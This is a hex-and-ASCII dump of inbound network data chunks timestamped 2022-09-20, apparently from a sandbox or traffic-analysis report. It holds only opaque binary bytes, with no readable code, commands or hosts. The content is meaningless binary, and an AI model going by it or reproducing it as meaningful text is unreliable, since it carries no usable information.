59 53 5f 8b 1f 64 61 ac 37 cc fa 7f 80 d2 da be a4 bd a9 5d be 4e fa 67 87 f9 8e e1 05 8f 3e 3f 96 b6 b3 0e 14 46 ae 69 36 
fc 8d d9 7a f9 4d 8b 5b 1d e6 1d 8c ef 5d 82 de 6f 36 cd ef 5c 40 d0 c5 90 a2 cf 61 9e fa 23 4b ec ea e8 54 63 b2 b1 cb 34 
3f 8a 61 ea f6 00 d3 67 3a cc 8f dd 5e 96 d7 ec 87 a6 0c 73 98 5b 4c 6f 20 ff 13 48 a0 6b 37 17 59 87 f1 a1 f3 0f 46 d6 86 
38 74 a5 23 15 4e ee 11 21 3e 40 28 38 4c 7e 50 01 94 92 47 21 2e 84 fc 4b 33 84 58 bb 9b 8f 88 57 33 97 d7 48 39 8a 
b9 6e 07 f9 06 c4 5f 87 50 c0 98 c2 fb 41 79 04 d8 43 8f 72 64 2c 62 be 52 54 ca 90 bf 6e ba 73 8f 91 28 f3 bd 86 14 af 3c 
aa b3 7c 05 60 b7 cc 22 f2 bb 80 a7 7f cb 1a 9e 
Data Ascii: a3@^oah]`#>eYS_da7]Ng>?Fi6zM[]o6\@a#KTc4?ag:^s[Lo Hk7YF8t#N!>@(8L~PG!.K3XW3H9n_PAyCrd,bR
Tns(<|`"

2022-09-20 10:10:08 UTC 4091 IN Data Raw: 4d 53 ba 76 0b d0 3f c6 eb a1 60 9a b2 f2 17 80 3f 17 af 87 82 69 ca cc 3f 04 fe 81 a4 35 93 26 a7 b7 b1 09 86 
f8 21 5e 99 f4 74 65 d2 cd 20 1d 9a a0 47 8c e9 ca a4 ef 06 7e 4b 82 35 62 4c 57 36 9d 9c 88 e9 64 a2 1e 31 a6 1b 59 a4 
4d 00 5e 93 68 8d 18 d3 8d 7c 12 6f 00 e1 0f 89 7a c4 98 6e 94 90 f6 12 f0 27 15 ad 86 c4 0a 12 eb 92 a0 9d 49 6a b8 38 
c0 f0 d0 4b 74 02 3d 9a 24 7d b4 7f 86 21 07 96 cb 41 ba 2c 49 f9 93 19 86 8f a4 3f 03 fd 13 42 59 6d 99 f6 ea 6b cb 94 3f 
51 ae 62 9e 3b e8 49 d2 e1 59 ea 4a 49 da 30 db 9d 67 5d 01 21 fd 7e ab 35 57 1c ad fa cb a0 32 0c 6c 25 9e 22 fd 35 1a 
3b 56 f5 85 18 ac fa b7 29 a0 e7 35 ef ca 1c 8b 4a bc 81 97 e5 ec 92 e6 38 04 e9 df cd 21 fd af a8 dc b3 08 43 31 f1 7e b7 
48 6e 38 6c 70 0e 85 90 df ad 50 88 a7 0a c5 bc 
Data Ascii: MSv?`?i?5&!^te G~K5bLW6d1YM^h|ozn'Ij8Kt=$}!A,I?BYmk?Qb;IYJI0g]!~5W2l%"5;V)5J8!C1~Hn8lpP

2022-09-20 10:10:08 UTC 4098 IN Data Raw: 1a 87 0b f8 d2 20 a8 b6 10 09 81 c7 85 15 d2 db 49 b5 14 57 df 2c d7 fc ba 57 db 29 9d b6 db 49 d9 4b 55 57 
ce bb bd ab 96 6f 6b d5 61 67 40 90 af fc 84 ef 40 54 a5 5b 6a 21 ef 1d 03 45 a7 4d a4 85 45 aa e1 0b 6c 27 cb 8e 6b 35 
d3 4e b2 fa 2c c3 93 65 a7 fd 01 64 a5 a7 f8 ff c0 f5 bd e6 3b 8f 79 ca e7 6b 6f 6d 7d f8 81 65 2b 4c ca 18 11 e1 fe 92 08 
f7 97 a6 0c 7f 49 5a f0 17 83 b7 e9 07 65 4b 54 c2 12 ab 97 59 22 7a 59 8e ac 79 70 d4 7b c9 16 87 6d 94 31 d4 43 f6 d5 
50 63 2b d4 b1 50 db 5b 8a 9a ab 6c 66 37 49 88 21 e2 ec 22 78 4e c9 88 67 31 2a 18 77 1c 8f 1d 72 5b 59 72 57 69 8b 
7f a6 f4 6c 10 d9 ef d2 18 b5 ce a5 1a 79 2c 4f 17 cb e8 c8 e3 16 fc 52 ab 98 dd c7 eb f1 1a d6 4e b0 b4 5a fc 25 a8 77 f9 
fd 50 ff ef 7c 6c 90 4f 4f 6b 90 ff 8f 34 fe 55 ad 3f 
Data Ascii:  IW,W)IKUWokag@@T[j!EMEl'k5N,ed;ykom}e+LIZeKTY"zYyp{m1CPc+P[lf7I!"xNg1*wr[YrWily,ORNZ%wP
|lOOk4U?

2022-09-20 10:10:08 UTC 4106 IN Data Raw: fb 45 cc 8b 71 9c 92 dd 2d 93 bc 46 68 5a 5c ae 3c bd 1d 04 23 b4 50 e2 ea de d4 63 56 c1 9a e7 b9 c5 f4 22 
3d 66 31 f7 9b 88 15 71 d7 46 f6 81 fe 9a a8 bb 53 26 3e b8 c8 8d 90 58 fe a4 e3 ac 79 b3 bf a5 bd 1b b6 c8 08 bb 15 89 
52 8e e3 0e bd 02 d3 c0 52 9d d7 15 27 c6 42 82 d6 84 a5 09 b3 9e 1f 4f 59 43 27 40 76 58 bf db 31 77 d5 9f c2 c4 4d 26 
df d6 c3 2b e7 ee 03 dd 7a a1 cc ed ef cf 96 d4 53 68 e1 5b b4 b8 a4 89 f4 c0 b7 f8 80 94 3c c7 8d 7a 4d a4 6a 2f 23 24 
1f 4c bd eb 25 ab 97 a8 57 89 56 87 d4 9c 94 cc 26 8d d2 8b c1 a4 98 0b dc 0b 75 21 02 ac bc 41 0d f1 26 ee 22 27 e9 b1 
dc 44 92 f5 73 6f 32 8a a9 ef c1 1b 68 7a f7 f0 c6 f0 cf ee ee 1f 6e 59 14 ab 1f 12 29 a7 e9 d2 ea 75 52 d9 2a bf 46 6f 2d 
52 4f 05 93 49 c6 d9 d3 ef 81 e0 69 f5 45 27 99 48 41 
Data Ascii: Eq-FhZ\<#PcV"=f1qFS&>XyRR'BOYC'@vX1wM&+zSh[<zMj/#$L%WV&u!A&"'Dso2hznY)uR*Fo-ROIiE'HA

2022-09-20 10:10:08 UTC 4114 IN Data Raw: c4 ab e4 05 8f 9b 17 19 46 90 27 fc 32 2c 31 0b 45 b2 ce 1c 09 55 60 83 d7 6c 59 a6 41 b3 d8 1c f3 9c 30 92 
b5 a6 5a aa 67 09 a6 e7 55 f8 2d 10 31 89 6f 34 17 a8 28 1c 49 db 78 17 d7 39 09 33 09 27 4e ca f7 cf f9 39 b5 6f d0 0b 
da 08 99 8a 5c a3 ff 64 2a 76 96 98 cf 06 d2 18 4f 66 b7 0a 11 9b 73 33 b6 0e 0c ca b5 32 53 aa 80 3f db 82 f7 5d e1 d1 
fa 6a 09 a3 6e d5 d9 7d a8 b2 55 14 ac ea bf 1b 44 59 6c 16 59 5c 42 f5 c7 f2 9a b9 dc 79 44 d0 60 ac b0 5b 04 53 aa 4d 
09 66 40 a2 da ea 15 67 bd 0e 4e c6 72 7c 9f 62 84 37 de 6c de d8 79 d6 1b 81 46 70 c7 c9 fd 57 fc 64 3d 6c d0 41 e3 d3 
89 a1 0f e2 63 ca b1 a5 cc e4 33 c4 9c 5f b0 98 43 62 24 ca 17 b9 b2 c9 31 64 08 12 d0 ab c4 b0 ed c7 bd 51 2f f5 d3 ea 
b1 42 8a f3 84 3e 8f f6 d1 e7 b8 17 e3 68 4e b1 d7 72 4f 
Data Ascii: F'2,1EU`lYA0ZgU-1o4(Ix93'N9o\d*vOfs32S?]jn}UDYlY\ByD`[SMf@gNr|b7lyFpWd=lAc3_Cb$1dQ/B>hNrO

2022-09-20 10:10:08 UTC 4122 IN Data Raw: 4e 2d bb 8f 91 d1 76 cb 79 06 12 2c 6f 63 bb a1 fb c4 01 8d 1f ab d3 1a 38 a1 8c ef 25 43 ca 8c b5 69 5f 13 3b 
7f b1 af 89 9d 6e d8 27 66 0e b9 69 7a b9 d8 34 ad 38 5e 25 2d 17 4d 82 e9 5e 63 3e dd 27 cc a7 f2 e4 c3 be 26 76 b0 61 
1f 3b d8 50 3c 5e af 6b 00 df a7 0d 54 50 23 b8 24 f9 64 80 0c a9 87 55 c3 29 e9 f2 01 97 05 ed ea 01 3d 1f a4 8b b6 c0 
83 07 ff 25 ef 00 69 ea 17 b9 62 3a fb be a6 5b b5 41 0b 78 28 95 5c 84 6c 95 db 49 22 0e db 50 da d7 a4 d4 75 11 87 99 
ba f6 09 53 57 83 7a 40 25 1c 75 6d f1 80 0a b7 34 82 ed 13 46 b0 f3 4f 91 d5 87 9e 63 46 c8 10 f4 4c 1a 21 43 70 5a 5c 
a3 42 50 6d 3e fd 54 f9 80 9e a2 53 65 0e 70 f4 58 a5 1e 50 8f de 75 aa cc 35 7a 92 47 ca 38 a8 39 1f 51 0f 47 b4 7d 0d 
c8 d0 be 76 e5 68 19 b2 62 b4 32 b6 41 0e d8 d6 f2 3e 
Data Ascii: N-vy,oc8%Ci_;n'fiz48^%-M^c>'&va;P<^kTP#$dU)=%ib:[Ax(\lI"PuSWz@%um4FOcFL!CpZ\BPm>TSepXPu5
zG89QG}vhb2A>

2022-09-20 10:10:08 UTC 4130 IN Data Raw: 71 2f 68 01 3a 63 c5 ad 06 f5 29 6d e8 39 8b f0 32 70 6e 17 de 12 74 56 f5 c1 dd 90 45 5e d6 b0 36 f4 de 4f 21 
e8 fc 44 78 8b d1 f9 35 45 45 e7 55 e1 cd 47 e7 3f 22 f5 ab 53 da d0 f3 15 e1 43 41 0a a6 0b 55 a1 00 9d 8b fb 62 ea f5 
98 3a 7a 2f a7 10 14 88 5f 28 81 d8 cf 1b 14 1b 31 ac 1e d0 33 ff 24 2c 72 3d 28 0b 69 6d e8 ff 3e 1d 33 55 43 8f a0 c3 1e 
b8 5e f4 b7 02 35 8e 30 7b 79 e7 fd 8d 53 4c 92 95 8f 12 35 0f dc 15 d4 10 9f 80 d3 97 de f7 46 e7 4e 7a df 7b 73 f3 53 b2 
ea c5 ec 02 ee 28 aa b3 51 ba ba f3 cb 74 a5 16 df 2f 6b 52 5c 60 02 ee c7 54 d7 1f eb da 2b 1e aa eb a8 98 75 a7 cd cd 
6a b6 11 0f 6a 86 81 a8 af ca 89 00 3f 5a 0e ce df d3 24 49 07 35 a7 46 7c 4a 57 8e e6 e2 41 55 23 66 8f 8f c7 9d d6 5f 
d4 1f 5b 9d ad 6c ee 01 75 76 39 5d f9 8f 8e 1c 
Data Ascii: q/h:c)m92pntVE^6O!Dx5EEUG?"SCAUb:z/_(13$,r=(im>3UC^50{ySL5FNz{sS(Qt/kR\`T+ujj?Z$I5F|JWAU
#f_[luv9]

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4137 IN Data Raw: e6 54 91 95 5e 1e 75 2f f5 c9 bb ee 94 46 7a 3d ac 8d f0 f9 64 0f 8f c3 d6 7b f1 bd 00 35 5b e7 89 ac f4 18 55 
7c 7f 02 3d 03 3c 5a 13 e0 3a 08 fd a7 52 71 d0 39 9b 05 b1 e8 21 cc e0 34 62 7d a2 62 8d cf 97 28 d6 27 59 ac 3d 5d aa 
f3 59 82 e8 a7 8f 1c e6 a1 33 37 0a 2f 6c a5 25 c4 6b b0 e2 85 cf cd 8a 57 46 00 2f 8c b4 90 25 88 fe 1b 88 17 3a 37 07 
f3 8a fa 43 39 ae a0 e8 e8 54 09 6f 41 95 cc 05 a0 e8 fc 90 50 dc 15 de 4f de 3c 68 af 45 d4 71 4f 83 96 2d a0 75 68 25 
38 cd e4 6d 05 e7 61 f2 26 c3 e8 79 1c cd 9b 83 e5 cc 0a de 87 c0 79 8a bc 87 c1 f9 8a bc dd 60 0a 3a 2e c1 1a 58 d5 ef 
79 f8 db 29 4a 77 b5 28 1d 32 bb 31 ce 3c 23 c7 27 d9 33 f2 1a 11 6f 9e 79 cd 5b 63 2f d7 97 03 75 67 3c 4c 72 36 95 fb 
6c e9 c5 4e 8d ee 93 9e 3c c9 91 9d d6 86 fe 14 1a 71 
Data Ascii: T^u/Fz=d{5[U|=<Z:Rq9!4b}b('Y=]Y37/l%kWF/%:7C9ToAPO<hEqO-uh%8ma&yy`:.Xy)Jw(21<#'3oy[c/ug<
Lr6lN<q

2022-09-20 10:10:08 UTC 4145 IN Data Raw: 08 90 c3 16 d2 03 a4 3b b7 07 47 4e 01 e4 45 0b c9 07 a4 28 99 23 35 80 8c 3b 86 23 d7 03 b2 c3 42 ee 06 
e4 e7 c7 f2 3a 7c 0e 90 37 2c e4 6f 80 7c 73 2c 8f 95 70 22 68 71 29 1c 19 00 48 dc 71 1c c9 3e 11 d7 2a 3c 1d dc 53 d8 
69 d5 ea 45 27 a2 f6 c9 63 5d 09 c8 b1 bd 39 b2 10 90 b2 3e 1c b9 03 90 ba 7e 1c 79 18 90 7f 58 c8 f3 80 fc 36 95 23 6f 
01 d2 fd 04 8e ec 03 24 3d 8d 23 b8 a3 b1 df ca e1 21 a0 f9 af 45 73 5c 1a 8c b6 27 71 64 24 20 47 ac 58 a7 03 72 cc 00 
5e f6 7c 40 f6 0d e4 c8 22 dc 15 49 e7 08 ee 83 a4 8f e0 e9 ac 01 9a 7b 2c 1a dc 07 99 6d d1 3c 07 34 5f a7 f3 fc e0 1e c7
72 8b e6 6d a0 39 38 88 a7 83 7b 1c 6b 2c 9a 7f 03 cd d0 0c 9e ce f1 a0 90 15 59 c8 19 80 dc 68 21 85 80 3c 65 21 57 03 
b2 7d 18 47 56 03 b2 ec 64 8e e0 ee c9 66 8b fb 23 40 73 
Data Ascii: ;GNE(#5;#B:|7,o|s,p"hq)Hq>*<SiE'c]9>~yX6#o$=#!Es\'qd$ GXr^|@"I{,m<4_rm98{k,Yh!<e!W}GVdf#@s

2022-09-20 10:10:08 UTC 4153 IN Data Raw: fb c2 ff 65 ed be 39 ae f3 76 5f d3 a5 f3 76 9f a5 db 3d e0 a6 74 b7 c7 c9 58 9e d3 9b f2 9c de 54 ed f4 a6 d5 
29 0a 89 fe c5 87 95 0e af 23 ce b7 9e a7 3b bc 2a 1d 5e 2b 3a e2 25 db 34 2f 59 df a4 ba 64 1e be 1c 3d 0a 16 30 e1 1a 
7d 85 df 41 d0 3e d6 ab 59 58 20 f1 63 61 f6 1c 1e 5d 67 d3 7b c7 ff 17 24 01 7f a8 27 e8 1c 8a 33 d2 2e 61 aa ce 33 d2 
74 09 a4 19 06 34 9b 34 8d ab fb e1 0f f5 96 23 1d e8 2d 7a 47 43 fe cc f8 bc d5 f3 8f cf ec 16 74 d9 ca 49 fd fc ad 9c ed 
ec 21 3a 5f b2 18 5f e0 ec 1d 7f 37 ee fb 1c 19 9b ea c8 d8 6c 77 47 23 e5 e8 70 df eb 70 cf 71 b8 cf 72 b8 cf 3d 4a dc f7 
38 dc 27 39 dc 9d 6f 49 8c 9f 79 94 b8 e7 39 ed de e0 b4 fb 4a a7 dd 53 fa 1c 1d ee d3 1d ee 75 0e f7 15 0e f7 b8 a3 c4 
3d d7 e1 5e ed 70 6f 71 b8 1f 3a 4a 32 3f d5 e1 
Data Ascii: e9v_v=tXT)#;*^+:%4/Yd=0}A>YX ca]g{$'3.a3t44#-zGCtI!:__7lwG#ppqr=J8'9oIy9JSu=^poq:J2?

2022-09-20 10:10:08 UTC 4161 IN Data Raw: ea 16 d4 e8 c6 f4 82 43 81 36 a3 89 79 d4 a5 b6 4c 78 62 77 40 6c f9 90 8e 51 0e e3 1e 5a 1c d8 a8 59 53 5b 
33 87 b6 54 84 76 61 ac ef 41 c3 2d ce 3f 5c e0 f1 99 75 68 34 3e 01 43 34 83 36 46 c2 64 b2 c7 87 fa f0 3c 91 13 f4 d3 
dc 42 eb af 39 f5 65 22 0f e2 50 81 09 84 c5 73 65 2d 28 29 38 21 41 1e 6a e7 06 20 30 0f 55 7a e2 7f bd e1 58 53 4b fc 
ad dc e9 1d 39 1b a1 ea b3 c7 21 13 c8 d9 99 30 ab 57 23 70 55 6d 55 8d 05 08 05 d9 cd 83 e8 14 b2 3e 9c 00 4b ec 15 
68 2d 4f 35 58 c6 56 14 0a b4 27 6e 85 ce ad 2f 9b b7 80 6b f1 aa a1 02 72 17 89 96 bb 48 50 ee 22 41 b9 8b 04 e5 2e 
12 98 bb 88 95 bb 52 50 3c d5 21 d4 8a 86 da fa 88 0d 95 13 24 35 74 18 fc c5 8e 78 c5 92 9a d2 86 ea 88 88 20 0f fa 2a 
08 29 25 d4 50 0d 52 87 24 f8 00 6a 24 9e a9 92 3a ed 82 b2 fa 
Data Ascii: C6yLxbw@lQZYS[3TvaA-?\uh4>C46Fd<B9e"Pse-()8!Aj 0UzXSK9!0W#pUmU>Kh-O5XV'n/krHP"A.RP<!$5tx 
*)%PR$j$:

2022-09-20 10:10:08 UTC 4169 IN Data Raw: 06 51 a9 40 c4 76 a1 9d 01 2b 13 c5 e7 61 74 75 ba 7d 31 68 05 6d af 45 15 5e 95 49 ef 05 69 32 53 48 ef 9e 
e4 67 28 5e 99 f1 fe 2b c6 7b 23 b0 9c f1 fe ba 53 96 f6 5f 3d 35 a5 fd d5 c6 fb a4 7a 6a 9a f6 ef 9a ed 7b 93 87 a7 b6 7f 
c1 7c df 9d fc 8f a9 ef d7 58 fb ff 11 d9 98 e0 58 29 4c 1f fd 38 fb 81 6b 0d fc ea e0 57 0e cc 88 24 4a 54 9a 3a 44 12 8d 
aa 93 0a 7b e9 3e 37 de 19 7b 95 ee 54 e0 cd c1 91 f6 6c 3b 52 05 f2 8b f5 d1 db 24 be d0 8a 9a d5 33 7a 38 be 83 34 13 
9a 15 c2 cb 42 74 cc 0f ce 65 1b f2 3d b4 21 39 c4 37 e4 25 5b 90 92 04 fe 10 0c 0f 81 2d c2 22 84 dd a8 96 33 5c 04 64 
b5 22 85 09 9c f7 64 5b 91 71 dd 03 3f b2 cc f0 cf 4d d2 76 48 fc 2c 93 06 9a 30 6c 47 11 26 d7 d4 4b 42 86 d6 c2 07 60 
12 05 aa d9 06 6c c4 42 c0 80 66 0c 0f 5e 05 77 d2 
Data Ascii: Q@v+atu}1hmE^Ii2SHg(^+{#S_=5zj{|XX)L8kW$JT:D{>7{Tl;R$3z84Bte=!97%[-"3\d"d[q?MvH,0lG&KB`lBf^w

2022-09-20 10:10:08 UTC 4176 IN Data Raw: 3a 6f 43 b5 5a c8 3b 1e 0a 44 6f f4 c0 79 d1 d4 e5 60 18 07 a3 07 f1 0e cf 27 c8 e9 85 77 18 65 5e 4a 11 e8 
38 a8 6d 4e 0f 1e 06 4b f1 7b dc 5d d0 e2 19 56 78 46 f3 7f d8 fb 17 f8 a8 aa ab 6f 1c 9f 5b 60 86 44 ce 00 b1 06 09 26 6d 
c7 36 29 a9 66 5a 6a 89 46 0d 10 30 6a 54 d4 88 a8 51 69 45 8a 4f 23 52 9c 11 6a a3 24 9c 19 e0 74 1c c5 16 ad ed 83 
ad f6 f2 54 5b db fa f4 91 80 37 cc 24 40 b8 28 86 a4 72 ad ca 45 61 4e 46 20 10 c8 15 32 bf f5 5d 7b 9f b9 84 24 a0 7d 
de f7 fd 7f fe 9f c2 67 32 73 ce d9 67 5f d6 5e 7b ed b5 d7 5a fb bb 61 47 86 9f 6a 26 d1 3d a4 ac ae 0d e9 59 d5 fb b9 ec 
95 6c 97 09 ed b5 6a cd cb a8 af 95 9a 6d 9a 4e 39 51 da f1 a1 4f ad 94 bc cb 51 47 d7 e8 33 87 1e 10 de 00 b8 a0 10 75 
b9 30 98 76 9a e5 59 43 ee 87 a1 a3 63 a5 d7 68 bc a3 
Data Ascii: :oCZ;Doy`'we^J8mNK{]VxFo[`D&m6)fZjF0jTQiEO#Rj$tT[7$@(rEaNF 2]{$}g2sg_^{ZaGj&=YljmN9QOQG3
u0vYCch

2022-09-20 10:10:08 UTC 4184 IN Data Raw: bc f3 b8 19 51 31 08 bc c1 99 a9 2a 0d 06 92 f4 ea 5e 8b 1a 36 eb fb 59 1f f0 37 79 3d da 11 f7 1e c7 56 2a cc 
49 1f a2 7a bd f6 91 b9 9d 3a 3d 47 f4 e8 26 d3 99 c5 29 fe 9e 84 0a ed 60 72 7b 87 6b 47 1d ef d3 53 27 46 9f e7 69 10 
be a0 5e f1 7d 99 2a a1 f6 c4 0a 8e 54 60 5e 88 67 8f 73 bb dc ed 91 e7 05 7f b8 db d1 92 91 58 71 f7 57 2b dd 26 71 35 
12 8b f2 ce ef 5b 3d af 0a dd f2 6b 58 27 b4 7b cb d5 75 e5 31 1c 00 b0 26 24 f3 5b 60 e0 d2 b8 bd 57 34 c5 33 d3 dd ae 
17 47 13 f4 a5 c4 72 14 5f 6e 0c b7 45 dd 6a 5e c3 76 81 f1 18 77 ce f0 3f 42 c2 74 10 2b cb 58 af 10 ed e1 3a 11 47 5a 
3d 62 d2 8e c4 db e4 f9 19 b5 bb 46 e4 57 40 a3 ee f1 91 fe 5a af 47 f0 76 b1 6c a7 f2 c4 b7 84 18 c8 a6 14 e9 ca d2 09 
94 8d e7 fc 87 af c1 c6 9e 35 6c 18 d9 a4 4c 09 e9 e7 
Data Ascii: Q1*^6Y7y=V*Iz:=G&)`r{kGS'Fi^}*T`^gsXqW+&q5[=kX'{u1&$[`W43Gr_nEj^vw?Bt+X:GZ=bFW@ZGvl5lL

2022-09-20 10:10:08 UTC 4192 IN Data Raw: df 88 fe 73 37 21 9a 9a 66 dc 3d 70 5c 28 b3 b1 9e 77 b4 68 f9 d8 dd 71 09 a2 43 b4 19 36 ad c4 ce fb 39 4a 
85 18 95 b8 85 58 30 55 ba ec 6b 31 cd 19 08 04 f4 76 be d1 22 b5 2d cb 68 4e ee 47 6a fd cd a4 22 51 3f a2 65 07 68 a2 
e3 a5 58 17 9a 42 8d 18 1f e0 e9 3b 90 f7 a4 96 17 50 75 73 41 d7 63 6d 54 65 4c 75 ab 44 f7 6a 85 a9 50 a7 8e cd 6f c7 
a4 9d 21 0d 11 e3 71 02 2a 22 dc 0a 79 e6 d6 af 88 f3 5d 47 39 51 84 5a ab 96 b9 d2 70 91 96 d8 21 57 63 59 f1 1f bc 1f 
90 3a c2 ce 6a 09 b6 71 ad 8d cd 7b a8 98 be 29 86 9f 54 18 c0 1e 5f ec dc 2d a6 09 69 ab 63 bb e2 fb 9d 49 c4 b8 6e 61 
62 ec 5a cb 9d 8b 3d 5b 6d 8c 14 80 26 bb 0d 3d 89 9b 6e 37 34 25 49 02 7e 93 8a b7 19 9d 6b a3 ce 9d 16 2c 67 a8 a4 
34 d9 b9 79 a2 73 6d b1 ce 4d 3b a3 73 a7 11 a5 38 4d f3 7e 
Data Ascii: s7!f=p\(whqC69JX0Uk1v"-hNGj"Q?ehXB;PusAcmTeLuDjPo!q*"y]G9QZp!WcY:jq{)T_-icInabZ=[m&=n74%
I~k,g4ysmM;s8M~

2022-09-20 10:10:08 UTC 4200 IN Data Raw: 30 a3 47 b7 a9 9d 43 3d 3f 52 3b ed de 32 ff 61 ef 8f b5 9d 28 2f 7c de 61 c6 7b fd 04 55 a8 5c 37 7e 88 e2 fb 
21 c6 35 8c 0d 5f bf 9a 4a 49 57 d9 28 31 b4 aa d2 ca a6 47 c3 ba 30 0c 0f 47 6a b7 96 f2 ba 16 b8 ee eb d0 34 06 55 4e 
14 60 88 1f cb d3 ae 12 4f f9 81 fe fe 55 89 f1 20 fd d0 27 50 94 16 98 8b 8d 0a 79 1c a9 48 13 7a 64 54 4c 1e 9e 41 af 31 
40 b0 0a 81 a7 d4 ce 14 c5 3f 14 d3 13 08 a1 e2 98 bc 0d 92 14 01 91 51 86 41 2a 50 05 ac 39 0c 3d 20 28 16 6d 04 cf 6e 
4c 22 ed 04 ce 29 f6 12 68 da cf 8b a0 ac f0 8b 13 75 15 bf 1f 65 0a ea fe 2d d2 97 ba 57 1a d4 dd 7a e5 20 d4 fd ef 2b 0d 
ea a6 1b f6 1f ed 3d 3e 26 18 55 60 6b 11 1f 3a 93 91 d8 96 0b 93 db e2 b9 40 10 9d a3 f3 ee d2 c2 c6 fe a8 f5 98 68 b5 
09 e2 a1 16 4e 9a be 60 47 fc 2c 8d 4d 70 a5 2e 
Data Ascii: 0GC=?R;2a(/|a{U\7~!5_JIW(1G0Gj4UN`OU 'PyHzdTLA1@?QA*P9= (mnL")hue-Wz +=>&U`k:@hN`G,Mp.

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4208 IN Data Raw: c9 4a 4c f3 c7 58 1a 3e da 01 71 85 a1 70 7a 2a 95 4f e4 53 c3 66 b5 d3 b1 e0 fd a8 cb 9f f9 f3 55 73 1b 52 8a 
29 9d 02 7e ed 56 16 bc de 90 52 42 97 30 9b 47 fe 22 1e 0d e3 47 59 ca d2 2f c1 6e c8 8f 53 f1 f8 49 f1 d8 81 df 8b c5 ef 
14 4e 6a 51 7c 56 0b 67 a7 2c 75 c4 de 61 d3 27 e0 07 44 52 86 25 28 89 5d da f8 4d 9b c0 48 57 bb 69 f1 08 63 20 f2 f2 
7f 95 13 95 c8 44 bc a3 16 2d f1 ed 51 fc d8 53 a5 b6 28 d5 dd 08 0c 56 96 02 c0 20 ea 7a a6 38 d6 aa 21 78 e1 9d 5e a3 
10 ab c9 a8 0c 93 ee bf fa 79 00 3a e8 c1 7e 1e 0c c7 03 4f 3f 0f 80 69 a7 df 15 7b c0 04 2f ed 27 1d 3f f8 76 ec 01 d7 c0 
d5 4f 3a c6 6f 48 ed e7 01 b3 c5 f1 d3 c6 03 4e 77 e0 f4 99 e9 46 e0 c1 e6 d8 03 a6 fb 9b 49 e9 62 22 89 84 86 e2 5b 15 
7b f3 7c 24 5d 1e 4b 8a 5e e6 90 05 71 c9 0d 9d 
Data Ascii: JLX>qpz*OSfUsR)~VRB0G"GY/nSINjQ|Vg,ua'DR%(]MHWic D-QS(V z8!x^y:~O?i{/'?vO:oHNwFIb"[{|$]K^q

2022-09-20 10:10:08 UTC 4216 IN Data Raw: 37 d9 37 db f7 da 3f b0 7f 6c ef b5 13 7f 4a ec 3d b8 45 ba 50 ba 4c ba 52 a2 52 b1 34 47 5a 22 ad 94 c2 52 
93 b4 59 7a 50 da 8d 3a 3c 20 1d 91 de 95 fe 2c 9d 91 b2 e5 2b 64 26 97 ca 35 b2 4f 6e 96 ef 93 1f 91 9f 97 5f 96 77 58 
77 89 bb d5 b5 29 b1 f7 6f e9 52 b6 94 23 e5 4a 93 c5 80 6d 49 21 4d 69 84 e4 28 b9 ca 64 65 8a 32 4d 91 14 aa 70 25 5f 
29 54 4a 94 72 a5 42 a9 54 16 28 8b d0 4b 6a 14 a7 52 a7 78 14 bf 12 52 22 4a a3 b2 16 b5 dd ac 6c 54 5a 94 56 65 0b 
ea bc 4d d9 a1 ec 52 76 a3 2f ed 51 f6 a2 3f 75 28 fb 95 43 ca 61 a5 13 bd ea a8 72 4c e9 52 4e 60 7c 77 2b 3d ca 69 a5 
57 39 a3 10 9a 46 d3 e9 58 9a 45 27 d0 6c 9a 43 73 e9 64 cc 3f d3 a8 44 29 e5 34 9f 16 d2 12 5a 4e 2b 30 17 2d a0 8b 
e8 12 5a 83 56 ac a3 1e cc 4a 21 1a a1 8d 74 2d 6d a2 cd 74 23 
Data Ascii: 77?lJ=EPLRR4GZ"RYzP:< ,+d&5On_wXw)oR#JmI!Mi(de2Mp%_)TJrBT(KjRxR"JlTZVeMRv/Q?u(CarLRN`|w+
=iW9FXE'lCsd?D)4ZN+0-ZVJ!t-mt#

2022-09-20 10:10:08 UTC 4223 IN Data Raw: 2c f6 95 41 3f 2e 61 04 78 bb 48 91 a2 3a b1 ca eb 70 95 be 35 50 f5 7e 37 99 39 ac 02 ea c0 7d 38 c8 2c 85 
11 34 7b d1 c0 6c 35 7e 32 5b 5d ae 06 27 bd 68 75 4e a8 8a e2 98 53 53 24 cd 51 27 d5 d5 f9 1c 0e 2f 29 51 fe 42 20 54 
5d 5a 51 5d 85 05 03 9e dc 01 3f 99 1b 4d ae 07 f6 7c cc c3 f9 b9 33 73 c2 69 cd 53 7b b8 a0 5b d4 bf cb 03 00 02 38 74 
c5 a6 d2 d1 72 d1 e5 8a e4 6c 65 b1 4e b5 76 15 e6 61 d7 1b 6b 4a ce 59 ae ce 89 4b 08 b9 1c 7e 3f 3b 9e 9f 54 a8 93 
b1 2c a5 a1 9a 96 90 b7 d9 e3 23 f3 d5 e0 fb a0 38 e0 95 29 f4 a1 80 07 17 39 22 0b ce 91 a5 ce e7 69 a4 99 2a 47 cc 84 
57 95 2d a6 e4 27 55 8a 62 50 d7 af 02 bb ce cb 33 43 45 57 ab af 0e 5b 68 49 95 63 e1 88 39 e4 e4 45 31 d6 e5 f5 37 04 
eb 6a c8 e2 58 b2 e6 e3 6a 83 d4 a9 38 9b a1 a2 96 a8 8f 5a 
Data Ascii: ,A?.axH:p5P~79}8,4{l5~2[]'huNSS$Q'/)QB T]ZQ]?M|3siS{[8trleNvakJYK~?;T,#8)9"i*GW-'UbP3CEW[hIc9E17jX
j8Z

2022-09-20 10:10:08 UTC 4231 IN Data Raw: be 5f 96 b8 13 ba 1d e2 16 d9 82 87 a4 fa 19 a8 86 bc f4 03 30 35 f2 21 2e 8c d5 ba 9a b1 4b 10 b2 e6 4b a5 
28 f3 51 28 86 56 4b 77 42 d6 c1 80 32 14 f8 c3 32 27 87 0f 43 c5 a7 8f 0f f9 d6 b6 77 6c a0 04 05 94 a0 17 91 1d 08 d9 
64 8d 53 b0 0d a7 4b 31 6d 0a 7e cb 93 fe 98 c6 58 8e 1b 8b fa ff 46 92 57 10 72 4a 01 3e 80 f0 3e 81 29 00 96 36 8c 07 
84 9c 1c 80 42 08 93 09 24 01 94 41 58 88 30 aa 19 a0 15 42 0b 01 3f 40 18 42 07 42 f6 f7 ad b2 50 23 5d 0a c8 d3 0b f8 
98 ed 54 e8 2d 88 d9 82 24 9b 28 b7 bb 75 60 d4 2f 01 6e 87 70 0b 81 df 00 3c 0c 61 3f 42 ee 41 80 dc 43 f4 d1 f8 d1 d4 
